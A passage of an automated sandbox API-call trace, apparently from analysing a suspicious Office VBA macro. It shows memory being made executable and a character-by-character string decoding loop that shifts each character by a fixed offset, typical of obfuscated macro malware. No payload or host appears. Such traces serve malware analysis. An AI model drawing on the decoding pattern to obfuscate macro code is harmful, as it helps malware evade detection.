(hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb54e0, dwSize=0x53) returned 1 [0068.788] RtlLookupFunctionEntry (in: ControlPc=0xaeb54e0, ImageBase=0x17c278, HistoryTable=0x17c280 | out: ImageBase=0x17c278, HistoryTable=0x17c280) returned 0x0 [0068.788] VirtualProtect (in: lpAddress=0xaeb54e0, dwSize=0x54, flNewProtect=0x40, lpflOldProtect=0x17c37c | out: lpflOldProtect=0x17c37c*=0x40) returned 1 [0068.789] RtlAddFunctionTable (FunctionTable=0xaeb5540, EntryCount=0x1, BaseAddress=0xaeb5400, TargetGp=0x17c37c) returned 1 [0068.789] SetErrorMode (uMode=0x8001) returned 0x8001 [0068.789] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0068.789] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee5900000 [0068.789] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001bca900000c62) returned 1 [0068.789] SetErrorMode (uMode=0x8001) returned 0x8001 [0068.790] GetProcAddress (hModule=0x7fee5900000, lpProcName=0x204) returned 0x7fee5a6d760 [0068.790] GetCurrentProcess () returned 0xffffffffffffffff [0068.790] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb6194, dwSize=0x3b) returned 1 [0068.790] RtlLookupFunctionEntry (in: ControlPc=0xaeb6194, ImageBase=0x17c278, HistoryTable=0x17c280 | out: ImageBase=0x17c278, HistoryTable=0x17c280) returned 0x0 [0068.790] VirtualProtect (in: lpAddress=0xaeb6194, dwSize=0x3c, flNewProtect=0x40, lpflOldProtect=0x17c37c | out: lpflOldProtect=0x17c37c*=0x40) returned 1 [0068.791] RtlAddFunctionTable (FunctionTable=0xaeb61dc, EntryCount=0x1, BaseAddress=0xaeb6100, TargetGp=0x17c37c) returned 1 [0068.791] SetErrorMode (uMode=0x8001) returned 0x8001 [0068.791] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0068.791] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee5900000 [0068.791] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001bca900000c63) returned 1 [0068.791] SetErrorMode (uMode=0x8001) returned 0x8001 [0068.792] GetProcAddress (hModule=0x7fee5900000, lpProcName=0x260) returned 0x7fee5a6ae28 [0068.792] GetCurrentProcess () returned 0xffffffffffffffff [0068.792] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb6254, dwSize=0x43) returned 1 [0068.792] RtlLookupFunctionEntry (in: ControlPc=0xaeb6254, ImageBase=0x17c278, HistoryTable=0x17c280 | out: ImageBase=0x17c278, HistoryTable=0x17c280) returned 0x0 [0068.792] VirtualProtect (in: lpAddress=0xaeb6254, dwSize=0x44, flNewProtect=0x40, lpflOldProtect=0x17c37c | out: lpflOldProtect=0x17c37c*=0x40) returned 1 [0068.792] RtlAddFunctionTable (FunctionTable=0xaeb62a4, EntryCount=0x1, BaseAddress=0xaeb6200, TargetGp=0x17c37c) returned 1 [0068.792] IUnknown:AddRef (This=0xb481318) returned 0x3 [0068.793] IUnknown:QueryInterface (in: This=0xb481318, riid=0x7fee5ca5af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17d7a8 | out: ppvObject=0x17d7a8*=0x0) returned 0x80004002 [0068.793] IUnknown:QueryInterface (in: This=0xb481318, riid=0x7fee5cb0b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17d7a0 | out: ppvObject=0x17d7a0*=0x0) returned 0x80004002 [0068.793] IUnknown:Release (This=0xb481318) returned 0x2 [0068.793] IUnknown:AddRef (This=0xb481370) returned 0x6 [0068.793] IUnknown:QueryInterface (in: This=0xb481370, riid=0x7fee5ca5af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17d7a8 | out: ppvObject=0x17d7a8*=0x0) returned 0x80004002 [0068.793] IUnknown:QueryInterface (in: This=0xb481370, riid=0x7fee5cb0b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17d7a0 | out: ppvObject=0x17d7a0*=0x0) returned 0x80004002 [0068.793] IUnknown:Release (This=0xb481370) returned 0x5 [0068.793] IUnknown:AddRef (This=0xb481268) returned 0x2 [0068.793] IUnknown:QueryInterface (in: This=0xb481268, riid=0x7fee5ca5af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17d7a8 | out: ppvObject=0x17d7a8*=0x0) returned 0x80004002 [0068.793] IUnknown:QueryInterface (in: This=0xb481268, riid=0x7fee5cb0b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17d7a0 | out: ppvObject=0x17d7a0*=0x0) returned 0x80004002 [0068.793] IUnknown:Release (This=0xb481268) returned 0x1 [0068.793] IUnknown:AddRef (This=0xb563e98) returned 0x3 [0068.793] IUnknown:QueryInterface (in: This=0xb563e98, riid=0x7fee5ca5af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17d7a8 | out: ppvObject=0x17d7a8*=0x0) returned 0x80004002 [0068.793] IUnknown:QueryInterface (in: This=0xb563e98, riid=0x7fee5cb0b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17d7a0 | out: ppvObject=0x17d7a0*=0x0) returned 0x80004002 [0068.793] IUnknown:Release (This=0xb563e98) returned 0x2 [0068.793] IUnknown:AddRef (This=0xb564418) returned 0x5 [0068.793] IUnknown:QueryInterface (in: This=0xb564418, riid=0x7fee5ca5af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17d7a8 | out: ppvObject=0x17d7a8*=0x0) returned 0x80004002 [0068.793] IUnknown:QueryInterface (in: This=0xb564418, riid=0x7fee5cb0b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17d7a0 | out: ppvObject=0x17d7a0*=0x0) returned 0x80004002 [0068.793] IUnknown:Release (This=0xb564418) returned 0x4 [0068.793] GetAsyncKeyState (vKey=27) returned 0 [0068.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="A", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="A\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.809] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr=":") returned 1 [0068.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="P\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.811] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="I") returned 1 [0068.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.811] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0068.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="A", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="A\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.811] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr=":") returned 1 [0068.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="A", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="A\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.811] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr=":") returned 1 [0068.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.812] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0068.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.812] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0068.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="G", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="G\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.812] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="@") returned 1 [0068.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="A", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="A\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.812] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr=":") returned 1 [0068.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="F", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="F\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.812] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="?") returned 1 [0068.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.813] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0068.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=">", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=">\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.813] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="7") returned 1 [0068.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.813] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0068.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="S\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.813] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="L") returned 1 [0068.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.814] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0068.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="?", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="?\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.814] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="8") returned 1 [0068.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="A", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="A\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.814] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr=":") returned 1 [0068.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="T", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="T\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.814] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="M") returned 1 [0068.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.815] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0068.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="R", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="R\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.815] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="K") returned 1 [0068.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.815] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0068.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="F", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="F\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.815] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="?") returned 1 [0068.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.816] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0068.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="B", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="B\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.816] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr=";") returned 1 [0068.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.816] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0068.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="P\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.816] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="I") returned 1 [0068.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.817] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0068.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="A", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="A\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.817] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr=":") returned 1 [0068.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="E", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="E\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.817] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr=">") returned 1 [0068.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="?", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="?\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.817] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="8") returned 1 [0068.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="E", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="E\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.818] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr=">") returned 1 [0068.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="O", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="O\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.818] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0068.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.818] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0068.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="A", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="A\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.819] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr=":") returned 1 [0068.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.819] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0068.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="T", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="T\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.819] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="M") returned 1 [0068.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="A", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="A\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.819] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr=":") returned 1 [0068.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="B", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="B\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.819] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr=";") returned 1 [0068.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.820] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0068.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="F", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="F\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.820] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="?") returned 1 [0068.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="A", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="A\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.820] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr=":") returned 1 [0068.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S", cchWideChar=1, 